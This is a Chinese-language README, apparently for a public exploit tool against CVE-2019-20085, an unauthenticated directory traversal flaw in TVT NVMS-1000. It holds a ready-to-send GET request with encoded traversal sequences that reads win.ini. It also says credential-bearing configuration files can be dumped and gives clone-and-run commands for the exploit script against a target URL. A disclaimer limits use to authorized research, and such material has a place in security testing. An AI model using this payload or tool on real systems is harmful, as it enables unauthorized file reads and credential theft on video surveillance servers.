📂 CVE-2019-20085 – TVT NVMS-1000 目录遍历漏洞利用工具 (By Z3R0)

作者： Z3R0 CVE： CVE-2019-20085 目标： TVT NVMS-1000（补丁发布前的所有已知版本） 漏洞类型： 未认证目录遍历 日期： [请填写你的发布日期]

🔍 漏洞概述

TVT 的 NVMS-1000 软件在其 Web 服务器组件中存在一个目录遍历漏洞。通过发送使用 /.. 序列精心构造的 GET 请求，未认证的攻击者可以访问 底层操作系统上的任意文件，包括敏感配置文件、密码哈希或系统密钥。

⚠️ 受影响软件

• 产品： TVT NVMS-1000
• 版本： 供应商修复前的所有版本（通常 <= v3.x.x）
• 平台： Windows

💥 利用说明

本工具利用了 NVMS-1000 上运行的 HTTP 服务器中易受攻击的文件路径解析漏洞。无需任何认证。远程攻击者可读取服务用户可访问的任何文件。

🧪 恶意请求示例

GET /..%5C..%5C..%5C..%5Cwindows%5Cwin.ini HTTP/1.1
Host: <target-ip>:80

🗂️ 可转储的文件

• Windows 系统文件（例如 C:\Windows\win.ini）
• NVMS 配置文件（通常包含 Base64 编码或明文凭证）
• 用户数据目录

🚀 使用方法

✅ 要求

• Python 3.x
• requests 模块（pip install requests）

▶️ 运行工具

git clone https://github.com/Z3R0-0x30/CVE-2019-20085.git
cd CVE-2019-20085
python3 exploit.py http://domain.local/ ../../windows/win.ini win.ini"

⚠️ 免责声明

本工具发布 仅用于教育和授权的安全研究。 作者 Z3R0 不对任何滥用或未授权访问负责。 在测试系统之前，请务必获得适当授权。

📚 参考资料

• Exploitdb
• NVD - CVE